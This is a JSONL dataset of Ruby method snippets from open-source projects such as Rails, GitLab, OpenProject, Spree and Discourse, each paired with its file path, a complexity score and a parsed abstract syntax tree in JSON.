{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/callbacks_test.rb","start_line":1030,"raw_source":"def test_class\n      z = []\n      klass = build_class Class.new {\n        define_singleton_method(:before) { |o| z << o }\n      }\n      object = klass.new\n      object.run\n      assert_equal [object], z\n    end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"z\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[null,\"build_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"before\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"z\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"run\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"lvar\",\"children\":[\"z\"]}]}]}]}","id":"05750ce8-8ad1-4d09-aab4-1a680ec68149"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":4261,"raw_source":"def whole_form(action = \"/\", id = nil, html_class = nil, options = {})\n      contents = block_given? ? yield : \"\"\n\n      method, remote, multipart = options.values_at(:method, :remote, :multipart)\n\n      form_text(action, id, html_class, remote, multipart, method) + hidden_fields(options.slice :method, :enforce_utf8) + contents + \"</form>\"\n    end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"whole_form\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"action\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"optarg\",\"children\":[\"id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"html_class\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contents\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\"]},{\"type\":\"lvasgn\",\"children\":[\"remote\"]},{\"type\":\"lvasgn\",\"children\":[\"multipart\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"values_at\",{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"remote\"]},{\"type\":\"sym\",\"children\":[\"multipart\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_text\",{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"html_class\"]},{\"type\":\"lvar\",\"children\":[\"remote\"]},{\"type\":\"lvar\",\"children\":[\"multipart\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"hidden_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"enforce_utf8\"]}]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"contents\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"</form>\"]}]}]}]}","id":"3ac6d9b7-e4b4-49bf-8bc9-5eec4a759fc5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/gzip_test.rb","start_line":46,"raw_source":"def test_sets_mtime_to_zero\n    compressed = ActiveSupport::Gzip.compress(\"Hello World\")\n    assert_equal Time.at(0), Zlib::GzipReader.new(StringIO.new(compressed)).mtime\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sets_mtime_to_zero\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"compressed\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Gzip\"]},\"compress\",{\"type\":\"str\",\"children\":[\"Hello World\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"GzipReader\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"compressed\"]}]}]},\"mtime\"]}]}]}]}","id":"3637d93f-ee93-4e08-8c74-4b8e181f28d5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/rag_document_fragment.rb","start_line":67,"raw_source":"def publish_status(upload, status)\n      MessageBus.publish(\"/discourse-ai/rag/#{upload.id}\", status, user_ids: [upload.user_id])\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/discourse-ai/rag/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"user_id\"]}]}]}]}]}]}","id":"aca1ac4d-c675-46f5-819d-00e698f271cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/jira.rb","start_line":697,"raw_source":"def build_entity_meta(entity)\n      case entity\n      when Commit\n        {\n          id: entity.short_id,\n          description: entity.safe_message,\n          branch: branch_name(entity)\n        }\n      when MergeRequest\n        {\n          id: entity.to_reference,\n          branch: entity.source_branch\n        }\n      else\n        {}\n      end\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_entity_meta\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entity\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Commit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"short_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"safe_message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"send\",\"children\":[null,\"branch_name\",{\"type\":\"lvar\",\"children\":[\"entity\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"to_reference\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"source_branch\"]}]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"179e1002-b109-4ced-abb7-7c09baaff7d0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/attachments/finish_direct_upload_service.rb","start_line":93,"raw_source":"def schedule_jobs\n      attachment.enqueue_jobs\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_jobs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachment\"]},\"enqueue_jobs\"]}]}","id":"38d99afd-aa2d-4def-92d9-d5cdf2e4e6c0"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/serializers/concerns/spree/api/v2/resource_serializer_concern.rb","start_line":7,"raw_source":"def self.included(base)\n          serializer_base_name = base.to_s.sub(/^Spree::Api::V2::Platform::/, '').sub(/Serializer$/, '')\n          model_klazz = \"Spree::#{serializer_base_name}\".constantize\n\n          base.set_type model_klazz.json_api_type\n          # include standard attributes\n          base.attributes(*model_klazz.json_api_columns)\n          # include money attributes\n          display_getter_methods(model_klazz).each do |method_name|\n            base.attribute(method_name) do |object|\n              object.public_send(method_name).to_s\n            end\n          end\n\n          metafield_enabled_resources = Spree::MetafieldDefinition.available_resources || []\n          if metafield_enabled_resources.map(&:name).include?(model_klazz.name) && model_klazz.method_defined?(:metafields)\n            base.has_many :metafields, serializer: Spree::Api::Dependencies.platform_metafield_serializer.constantize,\n                                       record_type: :metafield,\n                                       object_method_name: :metafields\n          end\n        end","complexity_score":35.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"serializer_base_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"to_s\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Spree::Api::V2::Platform::\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Serializer$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"model_klazz\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Spree::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"serializer_base_name\"]}]}]},\"constantize\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"set_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_klazz\"]},\"json_api_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"attributes\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_klazz\"]},\"json_api_columns\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"display_getter_methods\",{\"type\":\"lvar\",\"children\":[\"model_klazz\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"attribute\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"metafield_enabled_resources\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"MetafieldDefinition\"]},\"available_resources\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metafield_enabled_resources\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_klazz\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_klazz\"]},\"method_defined?\",{\"type\":\"sym\",\"children\":[\"metafields\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"has_many\",{\"type\":\"sym\",\"children\":[\"metafields\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_metafield_serializer\"]},\"constantize\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record_type\"]},{\"type\":\"sym\",\"children\":[\"metafield\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_method_name\"]},{\"type\":\"sym\",\"children\":[\"metafields\"]}]}]}]},null]}]}]}","id":"80f0c20c-fdcb-444d-a945-c98c609f49fe"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_yaml.rb","start_line":11,"raw_source":"def init_with(coder)\n      super\n      Array(self.class.attrs_that_yaml).each { |attr| instance_variable_set(:\"@#{attr}\", coder[attr.to_s]) }\n      self\n    end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"init_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"coder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"attrs_that_yaml\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_variable_set\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"to_s\"]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"6d81d28c-12c4-4ba6-bff0-eba03ac66bb1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/file/shared/editor.rb","start_line":46,"raw_source":"def commit_changes_through_modal\n            within_element 'commit-change-modal' do\n              click_element('commit-change-modal-commit-button')\n            end\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_changes_through_modal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"commit-change-modal\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"commit-change-modal-commit-button\"]}]}]}]}","id":"cb02716a-4d87-4379-b8c5-845dbac89192"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/representation/pull_request.rb","start_line":79,"raw_source":"def to_hash\n        {\n          iid: iid,\n          author: author,\n          author_email: author_email,\n          author_username: author_username,\n          description: description,\n          reviewers: reviewers,\n          created_at: created_at,\n          updated_at: updated_at,\n          state: state,\n          title: title,\n          source_branch_name: source_branch_name,\n          source_branch_sha: source_branch_sha,\n          target_branch_name: target_branch_name,\n          target_branch_sha: target_branch_sha\n        }\n      end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"send\",\"children\":[null,\"iid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[null,\"author\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_email\"]},{\"type\":\"send\",\"children\":[null,\"author_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_username\"]},{\"type\":\"send\",\"children\":[null,\"author_username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reviewers\"]},{\"type\":\"send\",\"children\":[null,\"reviewers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[null,\"updated_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[null,\"state\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_branch_name\"]},{\"type\":\"send\",\"children\":[null,\"source_branch_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_branch_sha\"]},{\"type\":\"send\",\"children\":[null,\"source_branch_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_branch_name\"]},{\"type\":\"send\",\"children\":[null,\"target_branch_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_branch_sha\"]},{\"type\":\"send\",\"children\":[null,\"target_branch_sha\"]}]}]}]}","id":"b7420985-bb5b-44bd-bcf3-e49e94e1d0fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/artifacts/adapters/gzip_stream.rb","start_line":13,"raw_source":"def initialize(stream)\n              raise InvalidStreamError, \"Stream is required\" unless stream\n\n              @stream = stream\n            end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidStreamError\"]},{\"type\":\"str\",\"children\":[\"Stream is required\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@stream\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]}]}","id":"f16198b3-6c4e-49bf-a8b9-e2b114b86d47"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/template.rb","start_line":443,"raw_source":"def compiled_source\n        set_strict_locals = strict_locals!\n        source = encode!\n        code = @handler.call(self, source)\n\n        method_arguments =\n          if set_strict_locals\n            if set_strict_locals.include?(\"&\")\n              \"local_assigns, output_buffer, #{set_strict_locals}\"\n            else\n              \"local_assigns, output_buffer, #{set_strict_locals}, &_\"\n            end\n          else\n            \"local_assigns, output_buffer, &_\"\n          end\n\n        # Make sure that the resulting String to be eval'd is in the\n        # encoding of the code\n        source = +<<-end_src\n          def #{method_name}(#{method_arguments})\n            @virtual_path = #{@virtual_path.inspect};#{locals_code};#{code}\n          end\n        end_src\n\n        # Make sure the source is in the encoding of the returned code\n        source.force_encoding(code.encoding)\n\n        # In case we get back a String from a handler that is not in\n        # BINARY or the default_internal, encode it to the default_internal\n        source.encode!\n\n        # Now, validate that the source we got back from the template\n        # handler is valid in the default_internal. This is for handlers\n        # that handle encoding but screw up\n        unless source.valid_encoding?\n          raise WrongEncodingError.new(source, Encoding.default_internal)\n        end\n\n        if Template.frozen_string_literal\n          \"# frozen_string_literal: true\\n#{source}\"\n        else\n          source\n        end\n      end","complexity_score":26.9,"ast_json":"{\"type\":\"def\",\"children\":[\"compiled_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"set_strict_locals\",{\"type\":\"send\",\"children\":[null,\"strict_locals!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[null,\"encode!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"call\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"method_arguments\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set_strict_locals\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set_strict_locals\"]},\"include?\",{\"type\":\"str\",\"children\":[\"&\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"local_assigns, output_buffer, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set_strict_locals\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"local_assigns, output_buffer, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set_strict_locals\"]}]},{\"type\":\"str\",\"children\":[\", &_\"]}]}]},{\"type\":\"str\",\"children\":[\"local_assigns, output_buffer, &_\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          def \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method_name\"]}]},{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_arguments\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"            @virtual_path = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@virtual_path\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"locals_code\"]}]},{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]}]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"force_encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"encoding\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"encode!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"valid_encoding?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WrongEncodingError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_internal\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"frozen_string_literal\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"# frozen_string_literal: true\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]}","id":"acfe399c-4349-42ec-87c9-f8d5d79c1f6f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/date_picker/form_component.rb","start_line":62,"raw_source":"def submit_path\n        if work_package.new_record?\n          # create: get json of selected dates\n          date_picker_path\n        else\n          # update dates of work package\n          work_package_date_picker_path(work_package)\n        end\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"submit_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"new_record?\"]},{\"type\":\"send\",\"children\":[null,\"date_picker_path\"]},{\"type\":\"send\",\"children\":[null,\"work_package_date_picker_path\",{\"type\":\"send\",\"children\":[null,\"work_package\"]}]}]}]}","id":"4eafda9d-fbfe-4dca-b54c-210e8387b3b4"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/requests/api/v3/capability_resource_spec.rb","start_line":115,"raw_source":"def expect_self_link(link, overrides = {})\n        href = JSON.parse(subject.body).dig(\"_links\", link, \"href\").split(\"?\")\n        expected_path_params = Rack::Utils.parse_nested_query(path.split(\"?\").last)\n\n        expect(href.first)\n          .to eql(api_v3_paths.capabilities)\n\n        expect(Rack::Utils.parse_nested_query(href.last))\n          .to eql(expected_path_params.merge(overrides))\n      end","complexity_score":30.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_self_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]},{\"type\":\"optarg\",\"children\":[\"overrides\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"href\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"body\"]}]},\"dig\",{\"type\":\"str\",\"children\":[\"_links\"]},{\"type\":\"lvar\",\"children\":[\"link\"]},{\"type\":\"str\",\"children\":[\"href\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_path_params\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Utils\"]},\"parse_nested_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"?\"]}]},\"last\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]},\"first\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eql\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"capabilities\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Utils\"]},\"parse_nested_query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]},\"last\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eql\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_path_params\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"overrides\"]}]}]}]}]}]}","id":"78f01af7-60ae-41d0-96a8-261f689d0087"}
